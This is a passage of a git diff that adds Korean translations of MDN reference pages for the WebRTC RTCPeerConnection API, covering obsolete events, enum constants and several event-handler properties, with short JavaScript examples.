+ <dt>{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an identity assertion is available. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.<br>
+ Also available using the {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to generate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.<br>
+ Also available as the {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to validate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.<br>
+ Also available using the {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}</dt>
+ <dd>In old versions of the WebRTC specification, this event was used to deliver a received identity. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.</dd>
+ <dt>{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}</dt>
+ <dd>Sent to the <code>RTCPeerConnection</code> when a {{domxref("MediaStream")}} is removed from the connection. Instead of watching for this obsolete event, you should watch each stream for {{domxref("MediaStream.removetrack_event", "removetrack")}} events on each stream within the <code>RTCPeerConnection</code>.<br>
+ Also available as the {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} event handler property.</dd>
+</dl>
+
+<h2 id="상수">상수</h2>
+
+<h3 id="RTCBundlePolicy_열거체">RTCBundlePolicy 열거체</h3>
+
+<p>The <code>RTCBundlePolicy</code> enum defines string constants which are used to request a specific policy for gathering ICE candidates if the remote peer isn't compatible with the <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> for bundling multiple media streams on a single transport link.</p>
+
+<div class="note">
+<p>In technical terms, a BUNDLE lets all media flow between two peers flow across a single <strong>5-tuple</strong>; that is, from the same IP and port on one peer to the same IP and port on the other peer, using the same transport protocol.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"balanced"</code></td>
+   <td>On BUNDLE-aware connections, the ICE agent should gather candidates for all of the media types in use (audio, video, and data). Otherwise, the ICE agent should only negotiate one audio and video track on separate transports.</td>
+  </tr>
+  <tr>
+   <td><code>"max-compat"</code></td>
+   <td>The ICE agent should gather candidates for each track, using separate transports to negotiate all media tracks for connections which aren't BUNDLE-compatible.</td>
+  </tr>
+  <tr>
+   <td><code>"max-bundle"</code></td>
+   <td>The ICE agent should gather candidates for just one track. If the connection isn't BUNDLE-compatible, then the ICE agent should negotiate just one media track.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceConnectionState_열거체">RTCIceConnectionState 열거체</h3>
+
+<p>The <code>RTCIceConnectionState</code> enum defines the string constants used to describe the current state of the ICE agent and its connection to the ICE server (that is, the {{Glossary("STUN")}} or {{Glossary("TURN")}} server).</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).</td>
+  </tr>
+  <tr>
+   <td><code>"checking"</code></td>
+   <td>The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.</td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.</td>
+  </tr>
+  <tr>
+   <td><code>"completed"</code></td>
+   <td>The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>Checks to ensure that components are still connected failed for at least one component of the {{domxref("RTCPeerConnection")}}. This is a less stringent test than <code>"failed"</code> and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. When the problem resolves, the connection may return to the <code>"connected"</code> state.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>The ICE agent for this {{domxref("RTCPeerConnection")}} has shut down and is no longer handling requests.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceGatheringState_enum">RTCIceGatheringState enum</h3>
+
+<p>{{domxref("RTCPeerConnection.iceGatheringState")}} 속성을 사용하게되면 반환되는 <code>RTCIceGatheringState</code> enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. {{event("icegatheringstatechange")}} 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태</td>
+  </tr>
+  <tr>
+   <td><code>"gathering"</code></td>
+   <td>ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태</td>
+  </tr>
+  <tr>
+   <td><code>"complete"</code></td>
+   <td>ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 <code>complete</code>에서 <code>gathering</code>으로 다시 바뀝니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceTransportPolicy_enum">RTCIceTransportPolicy enum</h3>
+
+<p>The <code>RTCIceTransportPolicy</code> enum defines string constants which can be used to limit the transport policies of the ICE candidates to be considered during the connection process.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"all"</code></td>
+   <td>All ICE candidates will be considered.</td>
+  </tr>
+  <tr>
+   <td><code>"public" </code>{{obsolete_inline}}</td>
+   <td>Only ICE candidates with public IP addresses will be considered. <em>Removed from the specification's May 13, 2016 working draft.</em></td>
+  </tr>
+  <tr>
+   <td><code>"relay"</code></td>
+   <td>Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCPeerConnectionState_enum">RTCPeerConnectionState enum</h3>
+
+<p><code>RTCPeerConnectionState</code> enum은 <code>RTCPeerConnection</code>이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>
+    <p>연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 <code>"new"</code> 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, 혹은 <code>"disconnected"</code>, 혹은  모든 연결의 전송이 끝났다는 <code>"closed"</code>상태.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"connecting"</code></td>
+   <td>하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 <code>RTCIceConnectionState</code>가 <code>"checking"</code> 혹은 <code>"connected"</code>이며, 그 어떤 전송도 <code>"failed"</code>상태가 아니여야합니다. <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>연결에 의해 사용되는 모든 ICE 전송이 사용 중 (<code>"connected"</code> 혹은 <code>"completed"</code>)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 <code>"connected"</code> 혹은 <code>"completed"</code>입니다.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>연결에 대한 최소 한 개의 ICE 전송이 <code>"disconnected"</code>상태이고, 그 외의 다른 전송 상태는 <code>"failed"</code>, <code>"connecting"</code>, 혹은 <code>"checking"</code>이 아님을 알려주는 값. </td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>
+    <p>연결에 대한 하나 혹은 여러개의 ICE 전송이 <code>"failed"</code>상태임을 알려주는 값.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>
+    <p><code>RTCPeerConnection</code> 개통되지 않음을 알려주는 값.</p>
+
+    <p>2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCRtcpMuxPolicy_enum">RTCRtcpMuxPolicy enum</h3>
+
+<p>The <code>RTCRtcpMuxPolicy</code> enum defines string constants which specify what ICE candidates are gathered to support non-multiplexed RTCP. <strong>&lt;&lt;&lt;add a link to info about multiplexed RTCP.</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"negotiate"</code></td>
+   <td>Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.</td>
+  </tr>
+  <tr>
+   <td><code>"require"</code></td>
+   <td>Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCSignalingState_enum">RTCSignalingState enum</h3>
+
+<p>The <code>RTCSignalingState</code> enum specifies the possible values of {{domxref("RTCPeerConnection.signalingState")}}, which indicates where in the process of signaling the exchange of offer and answer the connection currently is.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"stable"</code></td>
+   <td>There is no ongoing exchange of offer and answer underway. This may mean that the {{domxref("RTCPeerConnection")}} object is new, in which case both the {{domxref("RTCPeerConnection.localDescription", "localDescription")}} and {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} are <code>null</code>; it may also mean that negotiation is complete and a connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-offer"</code></td>
+   <td>The local peer has called {{domxref("RTCPeerConnection.setLocalDescription()")}}, passing in SDP representing an offer (usually created by calling {{domxref("RTCPeerConnection.createOffer()")}}), and the offer has been applied successfully.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-offer"</code></td>
+   <td>The remote peer has created an offer and used the signaling server to deliver it to the local peer, which has set the offer as the remote description by calling {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-pranswer"</code></td>
+   <td>The offer sent by the remote peer has been applied and an answer has been created (usually by calling {{domxref("RTCPeerConnection.createAnswer()")}}) and applied by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. This provisional answer describes the supported media formats and so forth, but may not have a complete set of ICE candidates included. Further candidates will be delivered separately later.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-pranswer"</code></td>
+   <td>A provisional answer has been received and successfully applied in response to an offer previously sent and established by calling <code>setLocalDescription()</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code> {{obsolete_inline}}</td>
+   <td>
+    <p>The connection is closed.</p>
+
+    <div class="note">
+    <p>This value moved into the <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> in the May 13, 2016 draft of the specification, as it reflects the state of the <code>RTCPeerConnection</code>, not the signaling connection. You now detect a closed connection by checking for {{domxref("RTCPeerConnection.connectionState", "connectionState")}} to be <code>"closed"</code> instead.</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양명</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div></div>
+
+<div>{{Compat("api.RTCPeerConnection")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js">https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple">http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: Node.js HTML5 video capture, peer-to-peer video and filesharing application (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/localdescription/index.html b/files/ko/web/api/rtcpeerconnection/localdescription/index.html
new file mode 100644
index 0000000000..0525c9f0eb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/localdescription/index.html
@@ -0,0 +1,64 @@
+---
+title: RTCPeerConnection.localDescription
+slug: Web/API/RTCPeerConnection/localDescription
+translation_of: Web/API/RTCPeerConnection/localDescription
+---
+<p>{{WebRTCSidebar}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.localDescription</strong></code>는 연결의 로컬 엔드에 대한 세션을 설명하는 {{domxref("RTCSessionDescription")}}를 반환합니다. 아직 설정이 안되어있다면, <strong>null</strong> 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>sessionDescription</em> = <em>peerConnection</em>.localDescription;</pre>
+
+<p>기본적으로 반환 값은 해당 속성이 <code>null</code>이 아닐 때에만 {{domxref("RTCPeerConnection.pendingLocalDescription")}}의 값입니다. 그렇지 않은 경우에는 {{domxref("RTCPeerConnection.currentLocalDescription")}}의 값이 반환됩니다. 이 알고리즘 및 사용하는 이유에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시에서는 <code>localDescription</code>를 확인하고, {{domxref("RTCSessionDescription")}} 객체의 타입과 sdp필드를 담고있는 경고를 띄웁니다.</p>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+…
+var sd = pc.localDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+</pre>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-localDescription', 'RTCPeerConnection.localDescription') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.localDescription")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setLocalDescription()")}}, {{domxref("RTCPeerConnection.pendingLocalDescription")}}, {{domxref("RTCPeerConnection.currentLocalDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html
new file mode 100644
index 0000000000..5505f509eb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html
@@ -0,0 +1,65 @@
+---
+title: RTCPeerConnection.onconnectionstatechange
+slug: Web/API/RTCPeerConnection/onconnectionstatechange
+translation_of: Web/API/RTCPeerConnection/onconnectionstatechange
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary"><strong><code>RTCPeerConnection.onconnectionstatechange</code></strong> 속성에 {{domxref("RTCPeerConnection")}} 인스턴스에서 발생하는 {{event("connectionstatechange")}} 이벤트를 처리하기 위해 호출되는 {{domxref("EventHandler")}}를 정의하게됩니다. 이 이벤트는  연결의 상태 집합체가 변할 때마다 발생합니다. 이 상태 집합체는 연결에 의해 사용되는 각각의 네트워크 전송 상태들의 묶음입니다.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.onconnectionstatechange = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("RTCPeerConnection")}}에서 {{event("connectionstatechange")}} 이벤트가 생길 때, 브라우저에 의해 호출되는 함수입니다. 이 함수는 {{domxref("Event")}} 타입의 객체인 단일 패러미터를 입력인자로 받습니다. 해당 이벤트 객체는 특별한 정보를 담고 있지는 않습니다. 새로운 상태를 확인하려면 피어 연결의 {{domxref("RTCPeerConnection.connectionState", "connectionState")}}에 해당하는 값을 살펴보십시오. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.onconnectionstatechange = function(event) {
+  switch(pc.connectionState) {
+    case "connected":
+      // The connection has become fully connected
+      break;
+    case "disconnected":
+    case "failed":
+      // One or more transports has terminated unexpectedly or in an error
+      break;
+    case "closed":
+      // The connection has been closed
+      break;
+  }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onconnectionstatechange', 'RTCPeerConnection.onconnectionstatechange') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onconnectionstatechange")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("connectionstatechange")}} 이벤트와 이 이벤트의 타입인 {{domxref("Event")}}을 참조하십시오.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html
new file mode 100644
index 0000000000..d32f6c9b80
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html
@@ -0,0 +1,62 @@
+---
+title: RTCPeerConnection.ondatachannel
+slug: Web/API/RTCPeerConnection/ondatachannel
+translation_of: Web/API/RTCPeerConnection/ondatachannel
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.ondatachannel</strong></code> 속성은 {{domxref("RTCPeerConnection")}}에서 발생하는 {{event("datachannel")}} 이벤트에 의해 호출되는 {{domxref("EventHandler")}}입니다. 이 속성에는 함수를 정의하게됩니다. {{domxref("RTCDataChannelEvent")}}의 한 종류인 이 이벤트는 원격 유저가 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}}를 호출해서 연결에 {{domxref("RTCDataChannel")}}가 추가되었을 때, 전달됩니다. </p>
+
+<p>이 이벤트를 수신하게되는 시점에서는 {{domxref("RTCDataChannel")}}가 아직 열리지 않았을 수 있습니다. 사용하기 전에 꼭 신규 <code>RTCDataChannel</code>에 <code>"open"</code>이벤트가 발생하는 것을 확인하십시오.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.ondatachannel = <em>function</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>이 속성에 지정하는 함수는 단일 패러미터를 입력 인자로 받습니다. <code>channel</code> 속성에 생성된 {{domxref("RTCDataChannel")}}를 제공하는 {{domxref("RTCDataChannelEvent")}} 입니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.ondatachannel = function(ev) {
+  console.log('Data channel is created!');
+  ev.channel.onopen = function() {
+    console.log('Data channel is open and ready to be used.');
+  };
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-ondatachannel', 'RTCPeerConnection.ondatachannel') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.ondatachannel")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>The {{event("datachannel")}} event and its type, {{domxref("RTCDataChannelEvent")}}.</li>
+ <li>{{domxref("RTCPeerConnection.createDataChannel()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html
new file mode 100644
index 0000000000..a8c23acfc1
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html
@@ -0,0 +1,63 @@
+---
+title: RTCPeerConnection.onicecandidate
+slug: Web/API/RTCPeerConnection/onicecandidate
+translation_of: Web/API/RTCPeerConnection/onicecandidate
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary"> <code>RTCPeerConnection</code> 속성의 <strong>{{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}</strong> 는 {{domxref("RTCPeerConnection")}} 인스턴스에서 {{event("icecandidate")}} 이벤트 발생시에 호출 하려는 함수를 지정합니다. 이 이벤트는 로컬 {{Glossary("ICE")}} 에이전트가 signaling 서버를 통해 원격 피어에게 메세지를 전달 할 필요가 있을때 마다 발생합니다. 그리고 ICE 에이전트가 signaling에 사용되는 기술에 대한 구체사항을 모르더라도 원격 피어와의 네고시에이션을 수행하도록 도와줍니다. 어떤 메세징 기술을 선택하던간에, 이 메소드를 사용해서 원격 피어에 ICE candidate를 전달하는 과정을 간단하게 구현 할 수 있습니다.</span> </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.onicecandidate = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>onicecandidate </code>속성은 {{event("icecandidate")}} 이벤트를 나타내는 {{domxref("RTCPeerConnectionIceEvent")}} 객체를 입력 값으로 받는 함수로 설정되어야합니다. 여기에 설정되는 함수는 ICE candidate를 signaling 서버를 통해 원격 피어에게 전달해야합니다. 이때, ICE candidate의 {{Glossary("SDP")}}는 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성에서 확인 할 수 있습니다. 만약 이벤트의 <code>candidate </code>속성이 <code>null</code>로 지정되어있다면, ICE 수집과정이 완료됩니다. 이 메세지는 원격 피어에 전달되지 않아야합니다. 이때, 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 또한 <code>complete</code>로 바뀌게 됩니다. ICE 수집 상태를 명시적으로 감시할 필요는 없습니다. 다만, signaling의 종료를 감지해야 한다면, ICE 네고시에이션이 complete 상태로 변한것을 알려주는 {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} 이벤트를 감시하면 됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서의 코드를 기반으로 원격 피어에게 ICE candidate를 전달하는 {{event("icecandidate")}} 이벤트에 대한 핸들러를 설정합니다.</p>
+
+<pre class="brush: js">pc.onicecandidate = function(event) {
+  if (event.candidate) {
+    // event.candidate가 존재하면 원격 유저에게 candidate를 전달합니다.
+  } else {
+    // 모든 ICE candidate가 원격 유저에게 전달된 조건에서 실행됩니다.
+    // candidate = null
+  }
+}</pre>
+
+<p>위에서 알 수 있듯이, 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성이 <code>null</code>이면 네고시에이션의 종료가 감지됩니다. </p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicecandidate', 'RTCPeerConnection.onicecandidate') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onicecandidate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("icecandidate")}} 이벤트 및 이벤트의 타입인 {{domxref("RTCPeerConnectionIceEvent")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html
new file mode 100644
index 0000000000..8e3e375efb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnection.onicegatheringstatechange
+slug: Web/API/RTCPeerConnection/onicegatheringstatechange
+translation_of: Web/API/RTCPeerConnection/onicegatheringstatechange
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.onicegatheringstatechange</strong></code>속성은 {{event("icegatheringstatechange")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전달될 때 호출이되는 함수를 정의하는 {{domxref("EventHandler")}}입니다. 이이벤트는 ICE 에이전트가 ICE candidate를 수집을 하는지의 여부를 알려주는 ICE 수집 상태가 변하면 발생합니다. 하지만, ICE 수집 상태를 모니터링 해야하는 특별한 이유가 없으면 이 이벤트를 감시 할 필요는 없습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.onicegatheringstatechange = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{event("icegatheringstatechange")}} 이벤트를 가진 {{domxref("Event")}} 객체를 단일 패러미터로 전달하는 함수를 제공합니다. {{domxref("RTCPeerConnection.iceGatheringState")}} 속성의 값 확인을 통해 ICE 수집 상태를 새로운 값으로 변경이 가능합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제는 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성 값이 변할 때마다 현재 값을 확인하고, 수집 상태 변화에 맞추어 표시될 상태 내용을 업데이트해서 유저에게 알려줍니다.  </p>
+
+<p>이 상태는 {{HTMLElement("div")}} 요소에 텍스트로 표시됩니다.</p>
+
+<pre class="brush: html">&lt;div id="iceStatus"&gt;&lt;/div&gt;
